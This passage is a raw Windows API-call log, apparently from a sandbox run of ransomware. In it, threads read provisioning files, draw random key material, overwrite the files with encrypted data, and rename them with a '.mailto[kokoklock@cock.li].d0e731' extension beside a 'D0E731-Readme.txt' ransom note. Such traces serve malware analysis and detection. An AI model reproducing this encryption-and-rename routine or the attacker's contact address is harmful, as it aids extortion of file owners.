(Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.505] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cc5f0) returned 1 [0086.505] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.505] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a9c8 [0086.505] wcscpy (in: _Dest=0x348a9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.505] wcscat (in: _Dest=0x348a9c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.505] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.505] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a9c8) returned 1 [0086.505] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3495758) returned 1 [0086.505] RtlExitUserThread (Status=0x1) Thread: id = 1300 os_tid = 0x116c [0085.386] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\127__connections_cellular_dna (finland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0086.079] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.082] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\127__connections_cellular_dna (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa30 [0086.082] GetFileSizeEx (in: hFile=0xa30, lpFileSize=0x2d6bf900 | out: lpFileSize=0x2d6bf900*=639) returned 1 [0086.082] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x27b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.082] ReadFile (in: hFile=0xa30, lpBuffer=0x2d6bf8d4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d6bf8d0, lpOverlapped=0x0 | out: lpBuffer=0x2d6bf8d4*, lpNumberOfBytesRead=0x2d6bf8d0*=0x4, lpOverlapped=0x0) returned 1 [0086.084] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.084] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0086.084] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd560 [0086.084] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd588 [0086.084] NtQuerySystemTime (in: CurrentTime=0x2d6bf8ac | out: CurrentTime=0x2d6bf8ac*=132121176439766440) returned 0x0 [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0xc65a461f [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0x761ca021 [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0x607094c6 [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0x36e1a302 [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0xb5c858e2 [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0x98b53e0e [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0x363ec17b [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0xa9e3db1d [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0x4c5c8dba [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0x438b2f5b [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0x51c4391d [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0x85549fa8 [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0x4107c6d7 [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0x941e877 [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0x124fcc6e [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0xa20f5d8 [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0xc1db38ca [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0x415975b3 [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0x177e33ef [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0xa6e4c17b [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0x421ee653 [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0x256c05f [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0xc7104b93 [0086.084] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0xdfb4885d [0086.085] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0x4f698422 [0086.085] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0x9b449fe9 [0086.085] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0xca7005ce [0086.085] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0xfb07b702 [0086.085] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0x328cc345 [0086.085] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0x3a09f904 [0086.085] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0x5cf527ad [0086.085] RtlRandom (in: Seed=0x2d6bf8b8 | out: Seed=0x2d6bf8b8) returned 0xf724b5b9 [0086.095] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0086.095] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0086.095] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd2c8 [0086.096] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34804f8 [0086.096] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0086.096] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0086.096] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.096] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.096] ReadFile (in: hFile=0xa30, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x27f, lpNumberOfBytesRead=0x2d6bf8ac, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2d6bf8ac*=0x27f, lpOverlapped=0x0) returned 1 [0086.096] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6bf874 | out: lpNewFilePointer=0x0) returned 1 [0086.096] WriteFile (in: hFile=0xa30, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x27f, lpNumberOfBytesWritten=0x2d6bf8a8, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2d6bf8a8*=0x27f, lpOverlapped=0x0) returned 1 [0086.096] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd600 [0086.096] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd628 [0086.096] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd628) returned 1 [0086.096] WriteFile (in: hFile=0xa30, lpBuffer=0x55dd600*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d6bf8a4, lpOverlapped=0x0 | out: lpBuffer=0x55dd600*, lpNumberOfBytesWritten=0x2d6bf8a4*=0x20, lpOverlapped=0x0) returned 1 [0086.096] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd600) returned 1 [0086.096] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.096] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.096] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.096] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.096] WriteFile (in: hFile=0xa30, lpBuffer=0x55dd5d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2d6bf8d0, lpOverlapped=0x0 | out: lpBuffer=0x55dd5d8*, lpNumberOfBytesWritten=0x2d6bf8d0*=0x8, lpOverlapped=0x0) returned 1 [0086.096] WriteFile (in: hFile=0xa30, lpBuffer=0x2d6bf8e8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d6bf8d0, lpOverlapped=0x0 | out: lpBuffer=0x2d6bf8e8*, lpNumberOfBytesWritten=0x2d6bf8d0*=0x4, lpOverlapped=0x0) returned 1 [0086.097] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d6bf8d0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2d6bf8d0*=0x4, lpOverlapped=0x0) returned 1 [0086.097] WriteFile (in: hFile=0xa30, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d6bf8d0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2d6bf8d0*=0x6c, lpOverlapped=0x0) returned 1 [0086.097] WriteFile (in: hFile=0xa30, lpBuffer=0x55dd560*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d6bf8d0, lpOverlapped=0x0 | out: lpBuffer=0x55dd560*, lpNumberOfBytesWritten=0x2d6bf8d0*=0x20, lpOverlapped=0x0) returned 1 [0086.097] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d6bf8d0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2d6bf8d0*=0x4, lpOverlapped=0x0) returned 1 [0086.097] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd560) returned 1 [0086.097] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd5b0) returned 1 [0086.097] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd5d8) returned 1 [0086.097] CloseHandle (hObject=0xa30) returned 1 [0086.097] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x17e) returned 0x341a7f8 [0086.097] wcscpy (in: _Dest=0x341a7f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml" [0086.097] wcscat (in: _Dest=0x341a7f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.097] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\127__connections_cellular_dna (finland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\127__connections_cellular_dna (finland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.098] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.099] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a7f8) returned 1 [0086.099] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\127__Connections_Cellular_DNA (Finland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.099] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.099] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.099] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.099] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.099] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.099] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34958c8) returned 1 [0086.099] RtlExitUserThread (Status=0x1) Thread: id = 1301 os_tid = 0x1170 [0085.386] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\128__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0086.047] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 1 [0086.063] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\128__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa30 [0086.063] GetFileSizeEx (in: hFile=0xa30, lpFileSize=0x2d73fe08 | out: lpFileSize=0x2d73fe08*=452) returned 1 [0086.063] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x1c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.063] ReadFile (in: hFile=0xa30, lpBuffer=0x2d73fddc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d73fdd8, lpOverlapped=0x0 | out: lpBuffer=0x2d73fddc*, lpNumberOfBytesRead=0x2d73fdd8*=0x4, lpOverlapped=0x0) returned 1 [0086.064] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.064] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0086.064] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd560 [0086.064] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8a8 [0086.064] NtQuerySystemTime (in: CurrentTime=0x2d73fdb4 | out: CurrentTime=0x2d73fdb4*=132121176439610159) returned 0x0 [0086.064] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0xf1a011 [0086.064] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0x3cbd53b9 [0086.064] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0x6d5939f4 [0086.064] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0x2c85e307 [0086.064] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0x72dfa367 [0086.064] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0xe0ce2e7d [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0x9824a742 [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0x7cf0bbdd [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0x2105f7f8 [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0x80366ccf [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0x48aaf334 [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0xd97ee5f3 [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0x516cbb7a [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0xa4eaa181 [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0x51361a8 [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0x49d63816 [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0xd9ea2a11 [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0xe8ea4b1f [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0x5ea7adf7 [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0x5ab43d82 [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0x68a8c212 [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0x50667985 [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0x269e418b [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0x3b747a1a [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0x98b0d86 [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0x7ebea099 [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0x901ea68 [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0xb7cee99 [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0x1cb63ac9 [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0x5455d9e1 [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0xa20b10cc [0086.065] RtlRandom (in: Seed=0x2d73fdc0 | out: Seed=0x2d73fdc0) returned 0xc7ff44a3 [0086.077] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0086.077] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0086.077] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0086.077] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0086.077] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd5d8 [0086.077] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd5d8) returned 1 [0086.078] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.078] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.078] ReadFile (in: hFile=0xa30, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x1c4, lpNumberOfBytesRead=0x2d73fdb4, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2d73fdb4*=0x1c4, lpOverlapped=0x0) returned 1 [0086.078] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d73fd7c | out: lpNewFilePointer=0x0) returned 1 [0086.078] WriteFile (in: hFile=0xa30, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x1c4, lpNumberOfBytesWritten=0x2d73fdb0, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2d73fdb0*=0x1c4, lpOverlapped=0x0) returned 1 [0086.078] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0086.078] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd5d8 [0086.078] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd5d8) returned 1 [0086.078] WriteFile (in: hFile=0xa30, lpBuffer=0x55dd8f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d73fdac, lpOverlapped=0x0 | out: lpBuffer=0x55dd8f8*, lpNumberOfBytesWritten=0x2d73fdac*=0x20, lpOverlapped=0x0) returned 1 [0086.078] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0086.078] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.078] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.078] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0086.078] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0086.078] WriteFile (in: hFile=0xa30, lpBuffer=0x55dd5b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2d73fdd8, lpOverlapped=0x0 | out: lpBuffer=0x55dd5b0*, lpNumberOfBytesWritten=0x2d73fdd8*=0x8, lpOverlapped=0x0) returned 1 [0086.078] WriteFile (in: hFile=0xa30, lpBuffer=0x2d73fdf0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d73fdd8, lpOverlapped=0x0 | out: lpBuffer=0x2d73fdf0*, lpNumberOfBytesWritten=0x2d73fdd8*=0x4, lpOverlapped=0x0) returned 1 [0086.078] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d73fdd8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2d73fdd8*=0x4, lpOverlapped=0x0) returned 1 [0086.079] WriteFile (in: hFile=0xa30, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d73fdd8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2d73fdd8*=0x6c, lpOverlapped=0x0) returned 1 [0086.079] WriteFile (in: hFile=0xa30, lpBuffer=0x55dd560*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d73fdd8, lpOverlapped=0x0 | out: lpBuffer=0x55dd560*, lpNumberOfBytesWritten=0x2d73fdd8*=0x20, lpOverlapped=0x0) returned 1 [0086.079] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d73fdd8, lpOverlapped=0x0 | out: 